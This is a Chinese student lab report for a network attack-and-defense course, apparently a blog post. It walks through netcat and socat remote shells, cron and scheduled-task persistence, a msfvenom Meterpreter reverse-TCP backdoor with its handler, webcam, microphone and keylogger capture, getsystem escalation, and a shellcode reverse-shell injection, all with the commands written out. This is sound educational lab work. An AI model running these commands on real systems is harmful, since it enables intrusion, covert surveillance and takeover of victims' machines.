20202422 2022-2023-2 《网络与系统攻防技术》实验二实验报告

20202422 2022-2023-2 《网络与系统攻防技术》实验二实验报告

1.实验内容

1.1知识回顾

本周课堂上学的主要是函数堆栈结构、调用函数时堆栈变化、shellcode构造原理等知识,但是实验考察的知识比较超前,是后门原理以及实践,同时也包含了netcat、socat获取主机shell、使用MSF meterpreter入侵等知识。

1.2实验目标

1.使用netcat获取主机操作Shell,cron启动某项任务(任务自定)。
PS:cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程。
2.使用socat获取主机操作Shell, 任务计划启动。
3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell。
4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权。
5.使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

1.3问题回答

1.例举你能想到的一个后门进入到你系统中的可能方式?
间谍直接将带有攻击性的可执行文件拷入系统中,执行文件后就有可能被进入后门
2.例举你知道的后门如何启动起来(win及linux)的方式?
windows:实验中做过的方式有直接双击开启后门程序、通过Windows->控制面板->管理工具启动任务计划程序、开机自启动的后门、和其他程序捆绑运行的后门程序等。
linux:通过在cron中添加任务,定时执行、通过一些脚本启动后门程序、通过和其他程序捆绑运行后门程序。

3.Meterpreter有哪些给你映像深刻的功能?
直接获取靶机的前置摄像头,提取权限
4.如何发现自己有系统有没有被安装后门?
首先,时刻打开病毒检测系统。其次,观察电脑的行为是否正常,是否有内存猛增的情况,是否开启了系统的各种权限,网络连接是否正常等。

1.4工具简介

1.netcat
netcat是网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向,你可以在脚本中以多种方式使用它。使用netcat命令所能完成的事情令人惊讶。
netcat所做的就是在两台电脑之间建立链接并返回两个数据流,在这之后所能做的事就看你的想像力了。你能建立一个服务器,传输文件,与朋友聊天,传输流媒体或者用它作为其它协议的独立客户端。

举例如下:
打开同一个主机上的两个cmd,分别输入:

nc -L -p 9000 -v
nc localhost 9000

就能实现一个简单的指定端口的通信,如下图,可以双向通信。
图1 简单的nc通信
图1 简单的nc通信

2.socat
socat(socket cat),官方文档描述它是 “netcat++” (extended design, new implementation),项目比较活跃,kubernetes-client(kubectl) 底层就是使用的它做各种流量转发。
在不方便安装 socat 的环境中,我们可以使用系统自带的 netcat.
而在其他环境,可以考虑优先使用 socat.
3.msfvenom
免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击,是msfpayload、msfencode的结合体,本身附带数百个已知软件漏洞的专业级漏洞攻击工具。利用msfvenom生成木马程序,并在目标机上执行、在本地监听。

  1. –p (- -payload-options)
    添加载荷payload。
    载荷这个东西比较多,这个软件就是根据对应的载荷payload生成对应平台下的后门,所以只有选对payload,再填写正确自己的IP,PORT就可以生成对应语言,对应平台的后门了!!!
    (- -payload-options 列出payload选项)
  2. –l
    查看所有payload encoder nops。
  3. –f (- -help-formats)
    输出文件格式。
    (- -help-formats 列出所有文件格式)
    Executable formats:
    asp, aspx, aspx-exe, axis2, dll, elf, elf-so, exe, exe-only, exe-service, exe-small, hta-psh, jar, loop-vbs, macho, msi, msi-nouac, osx-app, psh, psh-net, psh-reflection, psh-cmd, vba, vba-exe, vba-psh, vbs, war
    Transform formats:
    bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl, powershell, ps1, py, python, raw, rb, ruby, sh, vbapplication, vbscript
  4. –e
    编码免杀。
  5. –a (- -platform – -help-platforms)
    选择架构平台
    x86 | x64 | x86_64
    Platforms:
    windows, netware, android, java, ruby, linux, cisco, solaris, osx, bsd, openbsd, bsdi, netbsd, freebsd, aix, hpux, irix, unix, php, javascript, python, nodejs, firefox, mainframe
  6. –o
    文件输出。
  7. –s
    生成payload的最大长度,就是文件大小。
  8. –b
    避免使用的字符 例如:不使用 ‘\0f’。
  9. –i
    编码次数。
  10. –c
    添加自己的shellcode。
  11. –x | -k
    捆绑。例如:原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面。

2.实验过程

2.1使用netcat获取主机操作Shell,cron启动某项任务(任务自定)

2.1.1首先利用ncat软件(一般为系统自带)进行通信,目的是使主机获取kali的shell。

主机开启监听:

ncat.exe -l -p 2422

kali输入主机的ip地址进行连接:

nc 172.30.4.250 

如图,主机获取到了shell。

在这里插入图片描述
图2 主机获取shell

2.1.2设置任务。

设置任务部分是通过修改crontabs/root文件来设置定时任务。不少学长学姐的代码是通过kali命令行输入crontab -e命令直接修改的,但是课代表同学认为是需要在主机上利用连接来修改任务。我认为课代表的说法更可靠,因为我们连接了虚拟机那就要通过ncat实现远程控制。
但是问题在于用一般的crontab -e语句不能在cmd里面运行,所以需要换其他的思路。我参考课代表同学的做法,利用echo重定向确实可以编辑:

在这里插入图片描述
图3 重定向编辑crontab

这个方法无疑是巧妙的,因为echo重定向是为数不多能使用的命令。命令如下:

echo “* * * * * * echo “1” > /home/kali/20202422.txt” >/var/spool/cron/crontabs/root

意思是向/var/spool/cron/crontabs/root文件中加入* * * * * * echo “1” > /home/kali/20202422.txt语句,使得在kali文件夹中创建20202422.txt文件,并在每分钟重写一次1.

2.1.3验证

如下图,成功创建20202422.txt文件。在这里插入图片描述
图4 创建20202422.txt

如下图,文件每分钟都会被重新编辑,说明实现了定时任务:
在这里插入图片描述
图5 文件被修改的状态

2.2使用socat获取主机操作Shell, 任务计划启动

2.2.1使用socat命令在kali上获取主机的shell

命令如下:

windows :socat.exe tcp-listen:2422 exec:cmd.exe,pty,stderr
kali: socat - tcp:172.30.4.250:2422

如下图,可以实现获取主机的shell:
在这里插入图片描述
图6 kali获取主机shell

2.2.2设置任务

通过schtasks命令在命令行中设置任务。
我输入的命令是:

schtasks /create /sc minute /mo 1 /tn “Test Script” /tr C:\User\pc-f\Desktop\helloWin32.exe

schtasks /create /sc minute /mo 1 /tn “Test Script” /tr C:\User\pc-f\Desktop\helloWin32.exe
意思是每一分钟执行一次helloWin32.exe程序。这个程序是一个很简单的调用messagebox函数弹出提示框的小程序。在计算机管理中的任务计划程序中刷新一下就能找到我们新建的任务,等一分钟后就能看到任务启动了。如图:
在这里插入图片描述
图7 任务启动的状态

2.2.3其他办法

另外,还可以听过其他方式可以实现这个任务。比如直接通过计算机管理设置定时任
务,如下图:
在这里插入图片描述
图8 通过任务计划程序设置任务

直接指定触发的程序是socat.exe,并添加以下参数:

tcp-listen:2422 exec:cmd.exe,pty,stderr

指定端口是2422,同时将cmd.exe的stderr重定向到stdout。
这时打开kali终端输入:

socat - tcp:172.30.4.250:2422

当任务状态由准备就绪变为正在运行后,将会触发socat.exe,此时kali获得了一个主机的shell。

2.3使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

2.3.1利用meterpreter生成backdoor.exe文件

在kali终端上输入:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.70.129 LPORT=2422 -f exe > 20202422FBT_backdoor.exe

生成后门文件。

2.3.2通过ncat将上一步生成的文件传入主机系统中

主机开启监听,等待后门程序传入,输入命令:

nc.exe -l -p 2422 > 20202422FBT_backdoor.exe

Kali中指定好目标IP(主机IP)和端口号,输入命令:

nc 172.30.4.250 2422 < 20202422FBT_backdoor

如下图:
在这里插入图片描述
图9 生成后门文件并传输

注意,在传输时必须关闭杀毒软件的实时扫描功能,否则可执行文件将被直接拦截。

我们看到已经接收到了后门程序(在cmd所在的目录中):

在这里插入图片描述
图10 接收到了后门文件

2.3.3配置msf,准备攻击

依次输入如下命令:

msfconsole #进入msf控制台
use exploit/multi/handler #通用的payload处理程序
set payload windows/meterpreter/reverse_tcp #设置payload,指定平台、反向连接
set LHOST 192.168.70.129 #控制方kali的IP
set LPORT 2422 #指定端口
show options #查看配置情况,尤其是主机端口要和之前生成后门文件时一致

在这里插入图片描述
图11 配置msf信息

2.3.4执行后门文件,攻击

在主机运行后门文件,并在msf控制台上输入exploit指令,即可获得主机的shell:
在这里插入图片描述
图12 运行文件,获取shell

2.4 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

2.4.1提取一般信息

有了上一个实验的铺垫,这一个就很简单了。因为我们已经入侵了靶机,只要输入msf的命令就可以实现提取主机音频、摄像头、击键记录等内容,并尝试提权。

record_mic -d 10 #截获音频,-d设置录制时间
screenshot #截屏 
webcam_snap #使用摄像头拍照
keyscan_start #开始记录击键过程
keyscan_stop #停止,并读取击键记录

结果如下(不一一展示每一种获得的信息了):
在这里插入图片描述
图13 截取的信息

以摄像头来举个例子:
在这里插入图片描述
图14 摄像头捕捉的图像

2.4.2提权

我看到同学们大多用了很高端的方法来实现提权,但是我的思路很简单。先直接输入:

getuid
getsystem

这样是无法成功的,但是杀毒系统提示删掉了某一个病毒软件,是一个dll文件,具体的名字我没有记住。但是当我从杀毒软件中恢复了这个文件以后,再次尝试就成功提取权限了,如图:
在这里插入图片描述
图15 提权成功截图

2.5 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

2.5.1回顾上一次实验的做法,分析代码的esp寄存器,找到返回地址应该填写什么

在这里插入图片描述
图16 对pwn20202422文件进行反汇编分析

2.5.2通过meterpreter生成攻击代码

在这里插入图片描述
图17 meterpreter生成攻击代码

2.5.3修改攻击代码并运行

根据反汇编分析,找到返回地址应该填什么,然后修改获得的攻击代码,然后通过meterpreter远程获取shell。
在这里插入图片描述
注意:
1.返回地址应该是ffffd040,根据2.5.1的分析可以得出。
2.设置payload时应该注意根据实际情况来设置,比如这里是攻击的linux系统,所以命令应该是:

set payload linux/x86/shell_reverse_tcp

3 问题及解决方案

问题1:任务一无法从cmd中登录root
问题1解决方案:解决方法很多,总之殊途同归就是要编辑crontab文件夹内的内容。比如可以先以root用户登录,再将kali和主机连接,这样就能使用echo指令来编辑了。
问题2:任务四无法getsystem
问题2解决方案:如刚才所述,我直接将某一个被删掉的dll文件恢复以后,就可以提权了。目前我还不太清楚这个dll文件究竟是什么,但是肯定是跟提权操作密切相关。希望能得到老师的指导。

4 学习感悟、思考等

本次实验有几个特点:
1.实现的成果非常震撼,比如各种远程获取信息甚至提权。
2.所用的工具非常强大,比如ncat/socat,meterpreter,如果没有这些网络工具,将极难完成本次实验的目标。
3.实验难度较大。因为所需要实现的目标是具有挑战性的其中涉及的操作繁多,而且可能遇到各种不可预计的问题,比如任务一和任务二很明显就是比较灵活的实验,总之是要实现一定的目标,但是方法很多,各种问题也很多。

本次实验感悟:
1.要想实现很震撼的效果,最高效的方法之一就是采用合适的工具,这样能站在巨人的肩膀上,减去很多不必要的工作。
2.要想用好工具,必须对其用法、原理足够熟悉,这样能发挥出工具的最大价值,更重要的是能够在出现意料之外的错误的时候,能有一个明确的debug思路,知道大体上改从哪个方向进行debug,这样更有可能解决报错。

5 参考资料

https://www.cnblogs.com/kirito-c/p/14666619.html#:~:text=socat%20%26%20netcat.%20netcat%20%28network%20cat%29%20%E6%98%AF%E4%B8%80%E4%B8%AA%E5%8E%86%E5%8F%B2%E6%82%A0%E4%B9%85%E7%9A%84%E7%BD%91%E7%BB%9C%E5%B7%A5%E5%85%B7%E5%8C%85%EF%BC%8C%E8%A2%AB%E7%A7%B0%E4%BD%9C%20TCP%2FIP,implementation%29%20%EF%BC%8C%E9%A1%B9%E7%9B%AE%E6%AF%94%E8%BE%83%E6%B4%BB%E8%B7%83%EF%BC%8Ckubernetes-client%20%28kubectl%29%20%E5%BA%95%E5%B1%82%E5%B0%B1%E6%98%AF%E4%BD%BF%E7%94%A8%E7%9A%84%E5%AE%83%E5%81%9A%E5%90%84%E7%A7%8D%E6%B5%81%E9%87%8F%E8%BD%AC%E5%8F%91%E3%80%82.%20%E5%9C%A8%E4%B8%8D%E6%96%B9%E4%BE%BF%E5%AE%89%E8%A3%85%20socat%20%E7%9A%84%E7%8E%AF%E5%A2%83%E4%B8%AD%EF%BC%8C%E6%88%91%E4%BB%AC%E5%8F%AF%E4%BB%A5%E4%BD%BF%E7%94%A8%E7%B3%BB%E7%BB%9F%E8%87%AA%E5%B8%A6%E7%9A%84%20netcat.

https://blog.csdn.net/BoomLee/article/details/102563472

https://blog.csdn.net/d1240673769/article/details/121087720

https://www.cnblogs.com/lanvin/p/16096454.html

  • 0
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值